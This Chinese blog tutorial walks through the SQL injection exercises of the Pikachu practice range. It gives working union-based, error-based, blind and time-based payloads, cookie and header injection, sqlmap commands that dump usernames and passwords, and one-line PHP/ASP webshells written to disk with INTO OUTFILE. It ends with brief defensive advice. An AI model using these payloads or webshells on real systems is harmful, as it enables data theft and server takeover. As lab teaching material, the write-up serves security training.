Pikachu漏洞靶场系列之SQL注入


1.概述

1.1.发生原因

Web应用程序对用户输入的合法性没有判断或者过滤不严,用户在输入的字符串之中注入SQL指令,导致这些注入进去的恶意指令被数据库误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。
在这里插入图片描述比如我们期望用户输入整数的id,但是用户输入了上图中下面的语句,这是条能被正常执行的SQL语句,导致表中的数据都会输出

1.2.注入点类型

分类根据输入的变量传入到SQL语句是以什么类型拼接的

数字型:user_id=$id
字符型:user_id='$id'

区别就在于id后面的变量$id,也就是用户输入的值

1.3.SQL注入流程

1、注入点测试: 需要先测试交互方式,判断浏览器提交数据和web浏览器的交互方式。
2、判断字符的类型:整数型还是字符型
3、构造闭合:(字符型需要,整型不需要,后续有详细解释)
4、查询字段数:在构造SQL语句并判断数据库表的行数
5、判断回显位:通过构造SQL语句,找到数据库回显的位置
6、查询数据库的基本信息:数据库名字、版本
7、爆数据库的敏感信息:数据库表名、字段名(列名)、字符中的数据

2.数字型注入(POST)

2.1.简易

由题可知是数字型注入,数字型的注入是可以不带 '(单引号)的,因为用户的输入是可以直接输入到SQL语句中的。

1、发现注入点

点击查询抓包
1,输入?id=1 正常;
2,输入?id=1',报错,
可判断存在SQL注入漏洞

' (单引号)就是为了让SQL语句发生错误,破坏SQL语句的完整性,没有达到SQL语句语法规则,所以就会报错,如果没有报错,那么就是有可能是被过滤掉或者其他的防护手段

我的理解是 形成了一个闭环,如果注入的时候又多写了一个 ' (单引号),这样就是破坏了原有的闭环结构
在这里插入图片描述2、判断字段数

测试注入时,我们需要思考提交的参数后台是如何操作的。我们提交了一个d,返回了用户名和邮箱。

正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。

因为是用POST语句取得我们传递的参数值,传递给一个变量,再到数据库查询。所以我们猜测后台的查询语句大概是下面这样的

$id=$_POST['id']
select 字段1,字段2 from 表名 where id=1$id

下面我 BurpSuite 抓包来测试一下,把传入的参数改成下面的语句,看看返回的结果

1 or 1=1

我们把 BurpSuite 中拦截的包发到 Repeater 中,修改id参数的值,查看响应结果。可以看到取出了数据库中全部数据
在这里插入图片描述该sql语句的作用是检索users表中的所有字段

2.2.拓展

题目这里可以自行设置字段数,这里我设置为2,然后进行抓包改包。
在这里插入图片描述

当我们不知道字段数是多少的时候就可以用下面这种方法去判断字段数。

id=1 order by 3返回错误,提示报错。
在这里插入图片描述

id=1 order by 2返回正常,有回显,所以字段数为2。
在这里插入图片描述对照上一张图、可以看出测试方法的结果是对的。

从1开始递增,直至触发报错,报错前的那个数就是原始查询请求返回结果的列数,当定位不到指定的列,即会触发错误,也就侧面表明其结果有多少列

3、判断回显点
回显点在1或者2这两个数的位置,获得我们想要的信息

id=1 union select 1,2

在这里插入图片描述
返回了用户名和邮箱

4、查看用户名和数据库名

id=1 union select user() ,database()

可知用户名为yunche@localhost,数据库名为yunche,这个数据库是我创建的,所以是数据库名为这个。
在这里插入图片描述
5、查询数据库中的表

1 union select table_name,2 from information_schema.tables where table_schema='yunche'#

在这里插入图片描述
6、查询数据库表中的列名(字段名)

1 union select 1,column_name from information_schema.columns where table_name= 'users'#

在这里插入图片描述
7、查询表中的数据

1 union select username,password from users #

在这里插入图片描述我们这时候就已经取得了经过md5加密的密码、接着我们随便选取其中一条密码,用在线工具解密一下
在这里插入图片描述大功告成啦!!!

查询数据库下的所有表名

version() :数据库的版本
database() :当前所在的数据库
@@basedir : 数据库的安装目录
@@datadir : 数据库文件的存放目录
user() : 数据库的用户
current_user() : 当前用户名
system_user() : 系统用户名
session_user() :连接到数据库的用户名
schema ():也叫内置库、啥都有,记录了整个数据库的结构,包括库、表、列

3.字符型注入(GET)

我们输入“kobe”,可以得到下面的输出
在这里插入图片描述输入不存在的用户时,会提示用户不存在。另外这是一个 GET 请求,我们传递的参数会出现都 URL 中
在这里插入图片描述因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。猜想后台的SQL查询语句为

$name=$_GET['username']
select 字段1,字段2 from 表名 where username='$name'

我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下

kobe' or 1=1#

这时候我们也能看到这个表中的全部信息了

在这里插入图片描述

MySQL中有3种注释:

① #

② – (最后面有个空格)

③ /**/,内联注释,这个可以在SQL语句中间使用。

4.搜索型注入

这个功能运行我们输入用户名的一部分来查找,可以猜想后台使用了数据库中的搜索这个逻辑,比如用了 LIKE 。比如

在这里插入图片描述

select 字段1,字段2 from 表名 where username like '%$name%'

由题可知是搜索型注入(get),可直接在url中的name参数后进行修改,输入'点击查询,报错,判断存在SQL注入

在这里插入图片描述
可以用#q对单引号'进行闭合,后面输入用户名的一部分来查找

在这里插入图片描述这时候也能取出表中的全部数据了

4.1.拓展

所谓温故而知新、秉着这种态度我把上面做过一次的步骤又重复了一遍

判断字段数

' order by 3 # q

有回显

在这里插入图片描述

' order by 4 # q

报错,所以字段数为3

在这里插入图片描述
判断回显点
回显点在1或者2这两个数的位置,获得我们想要的信息

' union select 1,2,3 -- q

在这里插入图片描述
查看用户名和数据库名
在这里插入图片描述

' union select 1,user(),database() -- 


下面利用 information_shcema 查询数据库中的表名

1' union select null,null,table_name from information_schema.tables where table_schema='yunche'#

在这里插入图片描述
有了表名后,我们查询表中的列名

' union select 1,group_concat(username),group_concat(password) from users --

比如查询 users 这个表
在这里插入图片描述搞定

5.XX型注入

后台存在各种方式拼接我们的SQL语句,所以我们需要尝试构造各种各样的闭合。比如在这里后台就是用括号的方式拼接SQL查询语句、构造的payload如下。

kobe') or 1=1#

该sql语句的作用是检索表中的所有字段、两遍防止遗忘。
在这里插入图片描述

又结束一个、送走下一位

6.insert/update/delete注入

正常插入mysql语句

insert into member(username,pw,sex,phonenum,email,address) values('xiaohong',x,1,2,3,4);

基于insert/update下的注入

还是那个熟悉的套路,输入一个单引号,单引号报错意味着我们提交的内容在后台参与了SQL的拼接,导致了一个明显的mysql的语法错误

在这里,注册页面存在注入漏洞
在这里插入图片描述所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入

这种情况下,我们知道后台使用的是 insert 语句

insert into member(username,pw,sex,phonenum,email,address) values('xiaohong',x,1,2,3,4);

我们一般可以通过 or 进行闭合

xiaohong' or updatexml(1,concat(0x7e,database()),0) or '

基于delete下的报错

这里有一个留言板,点删除可以把对应的留言删掉

在这里插入图片描述我们点删除并用 BurpSuite 抓包,实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言

在这里插入图片描述

构建语句

1 or updatexml(1,concat(0x7e,database()),0)

由于是get方式提交,需要对其进行URL编码
在这里插入图片描述最后得到了数据库的名称

6.1.基于函数报错注入

在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作。insert/update是插入和更新的意思,这两个场景的注入,post数据包里的每一个参数都可以注入

常用的报错函数:updatexml()、extractvalue()、floor()

技巧思路,在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息

背景条件,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

6.2.updatexml

select * from major where id=1 and updatexml(1,concat(0x26,(select database()),0x26),3);

原理

由于updatexml的第二个参数需要Xpath格式的字符串,以0x26开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入。

举个栗子

kobe' and updatexml (1,version(),0)#

通过上面语句,获取到了数据库的版本,不过只打印了一部分内容

在这里插入图片描述

接着改进语句,为了让我们的信息完整打印出来

kobe' and updatexml (1,concat(0x7e,version()),0)#

获取到了完整的数据库的版本

在这里插入图片描述

这里利用 mysql里面的一个方法,concat就是把里面的参数,传进去的两个参数组合成一个字符串打印出来

0x7e是~符号的十六进制,也可以用其他符号的十六进制,主要是为了避免我们的信息不被报错的内容吃掉,然后拼接成一个完整的信息显示出来

紧接着我们只要把version替换成database

kobe' and updatexml (1,concat(0x7e,database()),0)#

在这里插入图片描述
就能获取数据库的名称

小拓展

报错只能一次显示一行

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='yunche')),0)#

提交后显示返回的数据多于一行,显示的时候如果有多行的话是不会显示出来的

可以使用limit一次一次进行获取表名

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='yunche' limit 0,1)),0)#

在这里插入图片描述

以此类推修改limit x,1

获取到表名后,在获取列名,思路是一样的

kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 0,1)),0)#

以此类推修改limit x,1

获得到列名称后

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

再来获取数据

在这里插入图片描述得到了这个账号的字段,接着可以通过条件username='admin'
去查adminpassword,同样的取一个,把这个用户的密码打印出来

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

6.3.extracvalue

原理

当Xpath路径语法错误时,就会报错,同时报错内容含有错误的路径内容。在updatexml()函数和extractvalue()函数中,都是通过对第二个参数Xpath进行修改,输入错误的格式,进行报错回显,来达到SQL注入

核心原理是一样的,也是对 XML

同样在字符型漏洞中实验,构造以下 payload

' and extractvalue(1, concat(0x7e,database())) #

它跟 updatexml 使用起来效果是一样的

在这里插入图片描述

6.4.floor

原理

重复录用的报错(主键冲突了),利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞,缺一不可。

kobe ' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) #

group byrand()函数进行操作时产生错误

concat;连接字符串功能
floor:取float的整数值
rand:去0~1之间随机浮点数
group by:根据一个或多个列对结果集进行分组并有排序功能

7.http header注入

有些时候,后台开发人员为了验证客户端头信息(比如cookie验证),或者通过http header获取客户端的一些信息,比如useragentaccept字段等

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时并没有足够的安全考虑
则可能会导致基于 http headerSQL 注入漏洞

在这里插入图片描述
登录账号:admin / 123456

登陆之后会记录以下信息
在这里插入图片描述
根据这个功能,我们知道后台会获取 http header 里的数据,比如 user agent 等。那么它有对数据库操作吗?下面BurpSuite修改发包内容

在这里插入图片描述
User-Agent 改为一个单引号,发包看看后台处理的结果,发现直接报了 SQL 语法错误,这说明存在 SQL 注入漏洞,后台可能会 insert 到数据库中,这个 payload 跟前面的 insert 实验的是一样的

firefox' or updatexml(1,concat(0x7e,database()),0) or '

在这里插入图片描述
还有 cookie 也是可以注入的,后端可能会取得我们的 cookie,后端通过拼接 SQL 语句进行验证,可以在 cookie 的用户名后面加上一个单引号并发送,这时候会报 MySQL 的语法错误,说明存在 SQL 注入漏洞,我们可以构造下面的 payload 进行测试

' and updatexml(1,concat(0x7e,database()),0) #

然后我们也会取得数据库名,再按常用方法继续测试取得数据库中的数据即可

在这里插入图片描述

8.盲注

在有些情况下,后台使用了错误屏蔽方法屏蔽了报错

此时无法根据报错信息来进行注入的判断

这种情况下的注入,称为盲注

没有报错信息
不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断

我们在皮卡丘平台一进行实验,输入下面的测试语句

kobe' and 1=1#
kobe' and 1=2#

发现一条正确执行,一条显示用户名不存在,说明后台存在 SQL 注入漏洞

因为这里的输出只有 用户名存在 和 用户名不存在 两种输出,所以前面基于报错的方式在这不能用。

我们只能通过 真 或者 假 来获取数据,所以手工盲注是很麻烦的。

我们可以先用 length(database()) 判断 数据库名称的长度

1'and length(database())>=1–+ 页面返回正常
1'and length(database())>=8–+ 页面返回错误

由此判断得到数据库名的长度是7个字符

再用 substr()ascii() 判断数据库由哪些字母组成(可以用二分法)

查询命令:id=1 and (ascii(substr(database(),1,1))>110)

这里就使用了ascii函数和substr截断函数,来判断数据库名称的第一个字符的ascii码是否大于110这个值,这里回显就是正确的,证明第一个字符的ascii码大于110,然后以此类推判断是否大于111、112、113…,最后就可以得到具体值是多少

数据库第一个字符的ascii码是115,对应的115的ascii码值为s,然后根据substr()函数的使用,修改第二个参数start可以指定字符串截取的位置,所以这里就修改substr(database(),x,1)中x参数的值为2、3、4,就可以依次获得剩下的2、3、4位字符的ascii码值,就可以得到对应的数据库名字

kobe' and ascii(substr(database(), 1, 1)) > 105#  

页面返回错误

kobe' and ascii(substr(database(), 1, 1)) = 112#

页面返回正常

下一步就需要查询数据库中的表

查询命令:1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0

这里是通过在information_schema.tablestables表存放了所有数据库的库名和表名)中查找table_name(表名),条件则是table_schema(表所属数据库的名字)= database,这里使用了limit关键字,limit 0,1就是第一条数据,然后将第一条数据进行判断是否大于0,再修改limit x,1中的x参数来判断后续的数据是否大于0,这样就可以判断是否存在表,因为大于0的话就证明是存在数据的,那就是存在表,如果不大于0,则就是为空,那么就不存在数据,这种判断思想也可以进行判断字段数(列数),所以这里就可以知道sql数据库中存在两个表

接着对表的名称的长度进行判断
查询命令:1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4

8.1 时间盲注

利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒

基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,比如用 sleep() 函数

我们按 F12 打开控制台,选到网络,然后我们输入下面的 payload 进行测试

kobe' and sleep(5)#

如果存在注入点,后端就会 sleep 5秒才会返回执行结果
在这里插入图片描述时间注入模板语句:
例子:if(length(database())>1,sleep(3),1)
如果数据库库名的长度大于1,则MySQL查询休眠3秒,否则查询1。查询1的结果大约一般只有几十毫秒,根据网页的响应时间,就可以判断条件是否正确

优点:不需要显示位,不需要出错信息。
缺点:速度慢,耗费大量时间

kobe' and  if((substr(database(), 1, 1))='p', sleep(5), null)#

9.OS远程控制

一句话木马
原理

利用我们的各种语言,里面提供的用来执行代码的函数,或者说用来执行操作系统命令的一些函数

通过他去构造一个简单的木马程序,把这个函数直接写到一个文件上去,然后通过对这个文件的访问,然后去执行这个函数,然后去传入对应的操作

因为这个函数是用来执行代码的函数,或者说用来执行操作系统命令的,那我们传进去的内容就会被作为远程控制的操作去执行,从而实现对客户端的一个控制。

短小而精悍的木马客户端,隐蔽性好,功能强大。

  PHP:<?php @eval($_POST['cmd']);?>
  ASP:<%eval request("cmd")%>
  ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"], "unsafe");%>

通过 SQL 注入漏洞写入恶意代码
在这里插入图片描述
前提条件:

 1.需要知道远程目录
 2.需要远程目录有写权限
 3.要数据库开启了 secure_file_priv、MySQL新特性,没有开启的话 into outfile 是不能写入的

我们先开启 secure_file_priv,在服务器中输入下面的 MySQL 命令查看 secure_file_priv 开启情况。如果不为空,而是 null,就需要

show global variables like "%secure%";

下面我们在 字符型注入 中进行实验,构造的 payload 如下

kobe' union select "<?php @eval($_GET['test']);?>", 2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\1.php"#

这时候,我们 select 出来的内容就被写入到了 1.php 中
,然后我们就能通过这个文件执行 php 代码
在这里插入图片描述我们还可以用 中国菜刀 连上我们写入的一句话木马

10.表(列)名的暴力破解

我们之前都是通过 information_schema 去获取的信息,很多时候我们没有权限去读取里面内容,也可能是别的数据库,没有 information_schema

常用的方法就是用暴力破解的方式去获得表名和列名

kobe' and exists(select * from aa)#

比如用上面的 payload,遍历我们字典中的表名,把 拦截 的数据包发到 BurpSuite 中的 Intruder 中,暴力破解 表名即可
在这里插入图片描述
表名不存在时,会提示 doesn’t exist,我们匹配这句话

在这里插入图片描述
这时候就爆破出一个表名了 —users

在这里插入图片描述
然后同样的思路爆破列名

kobe' and exists(select aa from users)#

11.SQL注入防御

1.输入验证
验证所有应用程序接收到的输入是否合法
白名单:比如ID值,那么我们判断它是否为数字
黑名单:使用正则表达式禁止使用某些字符和字符串,对用户输入的特殊字符进行严格过滤

2.服务器端在提交数据库进⾏ SQL 查询之前,对特殊字符进⾏过滤、转义、替换、删除。

3.预编译
SQL注入只对SQL语句的编译过程有破坏作用,而预编译语句已经处理好了,执行的时候只会把输入串作为数据处理,而不是作为SQL命令执行。不再对SQL语句进行解析

12.sqlmap简单使用

用 sqlmap 测试是否存在注入点

sqlmap -u http://yunche.com/vul/sqli/sqli_blind_b.php?name=666&submit=%E6%9F%A5%E8%AF%A2

找到了一个注入点,参数是 name,后面是 sqlmap 使用的payload
在这里插入图片描述然后使用 --current-db 查看当前的库名

sqlmap -u http://yunche.com/vul/sqli/sqli_blind_b.php?name=666&submit=%E6%9F%A5%E8%AF%A2--current-db 

在这里插入图片描述
用 -D 指定我们数据库名,用 --tables 去获取表名

在这里插入图片描述

sqlmap -u http://yunche.com/vul/sqli/sqli_blind_b.php?name=666&submit=%E6%9F%A5%E8%AF%A2 -D pikachu --tables

然后获取表中的列名

sqlmap -u http://yunche.com/vul/sqli/sqli_blind_b.php?name=666&submit=%E6%9F%A5%E8%AF%A2 -D pikachu -T users --columns

在这里插入图片描述

然后获取 users 表中的用户名和密码

sqlmap -u http://yunche.com/vul/sqli/sqli_blind_b.php?name=666&submit=%E6%9F%A5%E8%AF%A2 '' -D pikachu -T users -C username,password --dump

然后我们可以用 sqlmap 自带的字典爆破明文密码

在这里插入图片描述

13.宽字节注入

原理:源于程序员设置MySQL连接时的错误配置

set character_set_client=gdk  

mysql的一个特性
在使用gbk编码的时候,会认为两个字节为一个汉字

在PHP中使用addslashes 函数的时候,会对单引号(%27)
进行转义,在前面加一个反斜杠"\",变成%5c%27,可以在前面添加%df,形成%df%5c%27,而数据中前面的%df%5c两个字节会被当成一个汉字、%5c被吃掉了、单引号由此逃逸,可以用来闭合语句

防止宽字节注入的另一个方法就是将

 character_set_client 设置为binary(二进制)
  • 4
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值